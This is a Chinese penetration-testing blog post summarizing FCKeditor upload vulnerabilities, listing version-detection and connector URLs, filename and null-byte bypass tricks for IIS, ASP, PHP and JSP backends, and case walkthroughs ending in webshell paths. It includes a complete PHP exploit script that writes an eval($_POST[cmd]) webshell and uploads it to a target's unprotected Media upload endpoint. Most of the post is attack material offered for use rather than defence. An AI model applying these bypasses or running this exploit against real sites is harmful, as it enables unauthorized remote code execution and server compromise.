Braid信息安全博客 - Web安全|代码审计|安全开发|Java|php|python

【渗透测试】FCKeditor上传漏洞总结

0x01 FCKeditor简介

FCKeditor是一个专门使用在网页上属于开放源代码的所见即所得文字编辑器。它志于轻量化,不需要太复杂的安装步骤即可使用。它可和PHP、 JavaScript、ASP、ASP.NET、ColdFusion、Java、以及ABAP等不同的编程语言相结合。“FCKeditor”名称中的 “FCK” 是这个编辑器的作者的名字Frederico Caldeira Knabben的缩写。FCKeditor 相容于绝大部分的网页浏览器,像是 : Internet Explorer 5.5+ (Windows)、Mozilla Firefox 1.0+、Mozilla 1.3+ 和 Netscape 7+。在未来的版本也将会加入对 Opera 的支援。

0x02 判断版本

常见判断版本方法有两个:
/fckeditor/editor/dialog/fck_about.html
/FCKeditor/_whatsnew.html

0x03 上传地址

常用的上传地址A

FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp

常用的上传地址B

FCKeditor/editor/filemanager/browser/default/connectors/test.html
FCKeditor/editor/filemanager/upload/test.html
FCKeditor/editor/filemanager/connectors/test.html
FCKeditor/editor/filemanager/connectors/uploadtest.html

0x04 上传方法

ASP版

asp一般是搭在windows主机上,webserver一般为IIS6/IIS7/IIS7.5。据我现在所知,asp版的fckeditor已经可以全秒了。

<2.4.x版本(也就是2.4.x及以下)的File参数时为黑名单验证,可以通过上传.asa、.cer、.asp;jpg(针对IIS6)。如果asa、cer不被解析,还可以传.asp[空格]。传的方法就是抓包然后在数据包里的文件名后填个空格。

2.5.x和2.6.x:如果是IIS6.0 ,可以通过突破变”.”为”_”限制创建.asp文件夹,代码如下:

Fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=File&CurrentFolder=%2Fshell.asp&NewFolderName=z.asp

复制代码然后往这个文件夹里传jpg,这个不多说了。

如果是IIS7及以上,这种方法就傻逼了。这个时候可以借助刚爆出来的那种方法,先传shell.asp%00txt,然后再传一次。

至此,asp版本已经全秒了。

ASPX版

低版本同ASP版,2.6.x用刚爆出来的二次上传已经不好使了,不过新建test.asp的文件夹还可以使。一般IIS6.0会支持asp,可以先传个asp上去,然后再XX。

PHP版

1.低版本(2.4.x及以下),仍然为黑名单验证,windows主机可以使用php[空格]传,2.4.3的有个media未设置导致任意文件上传可以秒linux。

2.2.5.x以后是白名单验证,仅能寄希望于wooyun里爆的那个<2.6.4的任意文件上传,成功率有限。

3.2.6.4以上的php版,据我所知没戏,求高人指点!我粗略的看了一下它的验证逻辑,表示没戏,windows里的敏感字符全给过滤了。

0x05 实战案例

【aspx+2.6.4】

1.上传地址:http://***/FCKeditor/_samples/default.html
2.上传shell.asp;.jpg变shell_asp;.jpg,然后继续上传同名文件可变为shell.asp;(1).jpg
3.shell地址:http://***/userfiles/shell.asp;(1).jpg

【PHP+2.4.3】

1.Linux服务器,利用media未设置导致任意文件上传,测试POC为:

<?php
print_r('
+--------------------------------------------------------------+
NS-ASG Getshell Exploit
+--------------------------------------------------------------+
');

if ($argc < 2) {
print_r('
+--------------------------------------------------------------+
Example:
php '.$argv[0].' localhost
+--------------------------------------------------------------+
');

exit;
}
$host = $argv[1];
$file = 'index.php';
$path = "/admin/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media";
$url = 'https://'.$host.$path;
$fp = fopen("$file","w") or die('can not write');
fwrite($fp,"<?php phpinfo();eval(\$_POST[cmd]);?>");
fclose($fp);
$data = array('NewFile'=>'@'. dirname(__FILE__)."/$file");
$curl = curl_init();
curl_setopt ( $curl, CURLOPT_URL, $url ); //
curl_setopt ( $curl, CURLOPT_SSL_VERIFYPEER, 0 );
curl_setopt ( $curl, CURLOPT_SSL_VERIFYHOST, 0 );
curl_setopt ( $curl, CURLOPT_USERAGENT, "Mozilla/4.0" );
@curl_setopt ( $curl, CURLOPT_FOLLOWLOCATION, 1 );
curl_setopt ( $curl, CURLOPT_AUTOREFERER, 1 );
curl_setopt ( $curl, CURLOPT_POST, 1 );
curl_setopt ( $curl, CURLOPT_POSTFIELDS, $data );

curl_setopt ( $curl, CURLOPT_TIMEOUT, 120 );
curl_setopt ( $curl, CURLOPT_HEADER, 0 );
curl_setopt ( $curl, CURLOPT_RETURNTRANSFER, 1 );
$tmpInfo = curl_exec ( $curl );
if (curl_errno ( $curl )) {
echo 'Errno' . curl_error ( $curl );
}
curl_close ( $curl );
//echo $tmpInfo;
preg_match('/201,\"(.*)\",\"/iU',$tmpInfo,$matchs);
$url = 'https://'.$host.$matchs[1];
print 'Shell: '.$url.' password: cmd';
?>

2.利用方式:php.exe 1.php 202.ip.ip.ip

【JSP+2.2】

1.利用00截断上传,地址如下:
http://***/FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector
2.上传后抓包并添加00截断如下:

3.shell地址:http://***/UserFiles/Image/x.jsp

本文由HackBraid整理总结,原文链接:http://www.cnbraid.com/2015/fckeditor.html,如需转载请联系作者。